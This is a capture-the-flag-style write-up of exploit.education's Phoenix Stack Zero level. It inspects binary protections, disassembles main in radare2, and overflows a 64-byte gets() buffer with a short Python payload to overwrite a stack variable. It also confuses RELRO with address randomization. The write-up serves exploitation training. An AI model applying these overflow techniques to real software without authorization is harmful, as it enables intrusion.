Phoenix x86 Stack Zero
Phoenix is a virtual machine that can be obtained from exploit.education. It provides an educational environment so that one can practice on their skills. For additional details, visit the website.
In case of reluctancy due to the risk of downloading an unknown virtual machine, Debian packages are also provided.
Stack Zero, which is the first level, introduces the legendary stack-based buffer overflow.
In order to get a glimpse of what the binary is all about, rabin2 comes to the rescue:
$ rabin2 -I /opt/phoenix/i486/stack-zero
arch x86
baddr 0x8048000
binsz 3394
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (GNU) 7.3.0
crypto false
endian little
havecode true
intrp /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1
laddr 0x0
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx false
os linux
pcalign 0
pic false
relocs true
relro no
rpath /opt/phoenix/i486-linux-musl/lib
sanitiz false
static false
stripped false
subsys linux
va trueWhat can be gathered from the above info are the following:
- The binary is a 32-bit Linux ELF (
arch x86,bintype elf,bits 32,class ELF32,os linux..). - The endianness is little (
endian little). - It wasn't compiled with the Stack Smashing Protector (SSP) compiler feature (
canary false), thus allowing stack-based buffer overflow. - It wasn't compiled with the Data Execution Prevention (DEP) or No-Execute (NX) compiler feature (
nx false), which cannot prevent shellcode execution. - It wasn't compiled with the RELocation Read-Only compiler feature (
relro no), which means that the binary and all of its dependencies are not loaded into randomized locations within virtual memory each time it is executed. This feature hinders Return Oriented Programming a lot.
Considering the above information, if the binary accepts input via environment variables, arguments or STDIN, it can be exploited.
To disassemble the binary, r2 can be used.
$ r2 /opt/phoenix/i486/stack-zero[0x08048320]> aas
Cannot analyze at 0x08048560It is not recommended to use aaa or -A as an argument when opening a binary, because it could take a really long time if that binary is big. Using radare2, one needs to know what analysis is more beneficial at every stage of reverse engineering a binary. In this particular case, aas, which uses binary header information to find public functions, is good enough.
[0x08048320]> afl
0x080482b4 1 17 sym._init
0x08048470 7 277 -> 112 sym.frame_dummy
0x08048520 5 49 sym.__do_global_ctors_aux
0x08048551 1 12 sym._fini
0x080483f0 8 113 -> 111 sym.__do_global_dtors_aux
0x08048114 46 498 -> 594 sym..interp
0x08048320 1 62 entry0
0x08048310 1 6 sym.imp.__libc_start_main
0x08048630 3 62 loc.__GNU_EH_FRAME_HDR
0x08048688 1 41 obj.__EH_FRAME_BEGIN
0x08048360 4 49 -> 40 sym.deregister_tm_clones
0x080484b5 4 106 main
0x080482f0 1 6 sym.imp.putsThere are a couple options available to view the disassembly at a particular address. One that can be used is s to seek to that address and then use pdf to disassemble the current function, or VV to use the Visual Graph.
[0x08048320]> s main
[0x080484b5]> pdf
/ (fcn) main 106
| int main (int argc, char **argv, char **envp);
| ; var int32_t var_4ch @ ebp-0x4c
| ; var int32_t var_ch @ ebp-0xc
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x8048354
| 0x080484b5 8d4c2404 lea ecx, [arg_4h]
| 0x080484b9 83e4f0 and esp, 0xfffffff0
| 0x080484bc ff71fc push dword [ecx - 4]
| 0x080484bf 55 push ebp
| 0x080484c0 89e5 mov ebp, esp
| 0x080484c2 51 push ecx
| 0x080484c3 83ec54 sub esp, 0x54
| 0x080484c6 83ec0c sub esp, 0xc
| 0x080484c9 6860850408 push str.Welcome_to_phoenix_stack_zero__brought_to_you_by_https:__exploit.education ; sym..rodata
| ; 0x8048560 ; "Welcome to phoenix/stack-zero, brought to you by https://exploit.education"
| 0x080484ce e81dfeffff call sym.imp.puts ; int puts(const char *s)
| 0x080484d3 83c410 add esp, 0x10
| 0x080484d6 c745f4000000. mov dword [var_ch], 0
| 0x080484dd 83ec0c sub esp, 0xc
| 0x080484e0 8d45b4 lea eax, [var_4ch]
| 0x080484e3 50 push eax
| 0x080484e4 e8f7fdffff call sym.imp.gets ; sym..interp+0x1cc
| 0x080484e9 83c410 add esp, 0x10
| 0x080484ec 8b45f4 mov eax, dword [var_ch]
| 0x080484ef 85c0 test eax, eax
| ,=< 0x080484f1 7412 je 0x8048505
| | 0x080484f3 83ec0c sub esp, 0xc
| | 0x080484f6 68ac850408 push str.Well_done__the__changeme__variable_has_been_changed ; 0x80485ac ; "Well done, the 'changeme' variable has been changed!"
| | 0x080484fb e8f0fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048500 83c410 add esp, 0x10
| ,==< 0x08048503 eb10 jmp 0x8048515
| |`-> 0x08048505 83ec0c sub esp, 0xc
| | 0x08048508 68e4850408 push str.Uh_oh___changeme__has_not_yet_been_changed._Would_you_like_to_try_again ; 0x80485e4 ; "Uh oh, 'changeme' has not yet been changed. Would you like to try again?"
| | 0x0804850d e8defdffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048512 83c410 add esp, 0x10
| | ; CODE XREF from main @ 0x8048503
| `--> 0x08048515 83ec0c sub esp, 0xc
| 0x08048518 6a00 push 0
\ 0x0804851a e8e1fdffff call sym.imp.exit ; sym..interp+0x1ecAnother cool command is agf, which outputs the basic blocks function graph.
[0x080484b5]> agf
[0x080484b5]> # int main (int argc, char **argv, char **envp);
.----------------------------------------------------------------------------------------.
| 0x80484b5 |
| (fcn) main 106 |
| int main (int argc, char **argv, char **envp); |
| ; var int32_t var_4ch @ ebp-0x4c |
| ; var int32_t var_ch @ ebp-0xc |
| ; arg int32_t arg_4h @ esp+0x4 |
| ; DATA XREF from entry0 @ 0x8048354 |
| lea ecx, [arg_4h] |
| and esp, 0xfffffff0 |
| push dword [ecx - 4] |
| push ebp |
| mov ebp, esp |
| push ecx |
| sub esp, 0x54 |
| sub esp, 0xc |
| ; sym..rodata |
| ; 0x8048560 |
| ; "Welcome to phoenix/stack-zero, brought to you by https://exploit.education" |
| push str.Welcome_to_phoenix_stack_zero__brought_to_you_by_https:__exploit.education |
| ; int puts(const char *s) |
| call sym.imp.puts;[oa] |
| add esp, 0x10 |
| mov dword [var_ch], 0 |
| sub esp, 0xc |
| lea eax, [var_4ch] |
| push eax |
| ; sym..interp+0x1cc |
| call sym.imp.gets;[ob] |
| add esp, 0x10 |
| mov eax, dword [var_ch] |
| test eax, eax |
| je 0x8048505 |
`----------------------------------------------------------------------------------------'
f t
| |
| '-----------------------------------.
.-------------------------------' |
| |
.-----------------------------------------------------------------. .-------------------------------------------------------------------------------------.
| 0x80484f3 | | 0x8048505 |
| sub esp, 0xc | | sub esp, 0xc |
| ; 0x80485ac | | ; 0x80485e4 |
| ; "Well done, the 'changeme' variable has been changed!" | | ; "Uh oh, 'changeme' has not yet been changed. Would you like to try again?" |
| push str.Well_done__the__changeme__variable_has_been_changed | | push str.Uh_oh___changeme__has_not_yet_been_changed._Would_you_like_to_try_again |
| ; int puts(const char *s) | | ; int puts(const char *s) |
| call sym.imp.puts;[oa] | | call sym.imp.puts;[oa] |
| add esp, 0x10 | | add esp, 0x10 |
| jmp 0x8048515 | `-------------------------------------------------------------------------------------'
`-----------------------------------------------------------------' v
v |
| |
'--------------------------------------------------------. |
| .----------'
| |
.-----------------------------------.
| 0x8048515 |
| ; CODE XREF from main @ 0x8048503 |
| sub esp, 0xc |
| push 0 |
| ; sym..interp+0x1ec |
| call sym.imp.exit;[oc] |
`-----------------------------------'There are a few things that can be seen from the disassembled main function:
- There are two local variables:
var_4ch, which is the buffer where the input from STDIN is saved at and it has a size of0x4c-0xc=0x40(64 bytes in decimal).var_ch, which is a 32-bit integer.
- There is a call to
getswithvar_4chas an argument at0x080484e4.getsdoes not restrict the size of bytes that are to be read and is, thus, vulnerable to stack-based buffer overflow. - The objective is to change the value of
var_ch, which is tested at address0x080484ef.
With that in mind, to exploit this the input must have a size of, at least, 65 bytes (64 is the size of the buffer and to overwrite the value of var_ch one more byte at minimum is needed).
Before opening the binary in debugger mode using radare2, a rarun2 profile is needed so that the input can be read from the binary. In order to do that, a file needs to be created with the following contents:
#!/usr/bin/env rarun2
stdio=/dev/pts/0
stdin=./patternReplace /dev/pts/0 with the output of the command tty and ./pattern with the full path to the file that contains the input to be read from the binary.
One more thing that is essential is a file that contains the input. For that, python3 is going to be used.
#!/usr/bin/env python3
print("X"*64 + "AAAA")$ ./theScript.py > patternNow, the binary can be debugged as follows:
$ r2 -d /opt/phoenix/i486/stack-zero -r theProfile.rr2Note that when debugging with radare2, the visual panels are really awesome! They can be accessed with v! or V!.
To showcase that the binary is indeed vulnerable, a breakpoint before the call to gets is necessary. That can be done by simply executing db followed by the address and then dc to continue until the breakpoint is hit.
[0xf7f03d4b]> aas
Cannot analyze at 0x08048560
[0xf7f03d4b]> db 0x080484e4
[0xf7f03d4b]> dc
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
hit breakpoint at: 80484e4Before calling gets, it is a good idea to check the value of var_ch. This can be accomplished by first checking the value of the ebp register, via dr, and then viewing the hexdump at address ebp-0xc, via px/xw.
[0x080484e4]> dr
eax = 0xff9353cc
ebx = 0xf7f39000
ecx = 0xff935300
edx = 0x00000000
esi = 0xff9354a4
edi = 0x00000001
esp = 0xff9353b0
ebp = 0xff935418
eip = 0x080484e4
eflags = 0x00000296
oeax = 0xffffffff
[0x080484e4]> px/xw 0xff935418-0xc
0xff93540c 0x00000000 ....To execute the next instruction by stepping over, simply use dso.
[0x080484e4]> dso
hit breakpoint at: 80484e9
[0x080484e4]> dr
eax = 0xff9353cc
ebx = 0xf7f39000
ecx = 0xfefeff09
edx = 0x80808000
esi = 0xff9354a4
edi = 0x00000001
esp = 0xff9353b0
ebp = 0xff935418
eip = 0x080484e9
eflags = 0x00000286
oeax = 0xffffffff
[0x080484e4]> px/24xw 0xff9353b0
0xff9353b0 0xff9353cc 0x00000000 0x0000006f 0x00000010 .S......o.......
0xff9353c0 0x080482b4 0x08048551 0x00000000 0x58585858 ....Q.......XXXX
0xff9353d0 0x58585858 0x58585858 0x58585858 0x58585858 XXXXXXXXXXXXXXXX
0xff9353e0 0x58585858 0x58585858 0x58585858 0x58585858 XXXXXXXXXXXXXXXX
0xff9353f0 0x58585858 0x58585858 0x58585858 0x58585858 XXXXXXXXXXXXXXXX
0xff935400 0x58585858 0x58585858 0x58585858 0x41414141 XXXXXXXXXXXXAAAA
[0x080484e4]> px/xw 0xff935418-0xc
0xff93540c 0x41414141 AAAAAs shown above, the value of var_ch is indeed overwritten.
[0x080484e4]> dc
Well done, the 'changeme' variable has been changed!Conclusion
The binary was not compiled with the necessary features that would otherwise prevent stack-based buffer overflows and contains a call to gets, which does not account the size of bytes to be read from STDIN. As such, one needs to account the size of the buffer and simply input more bytes than it can actually hold so that the stack overflows.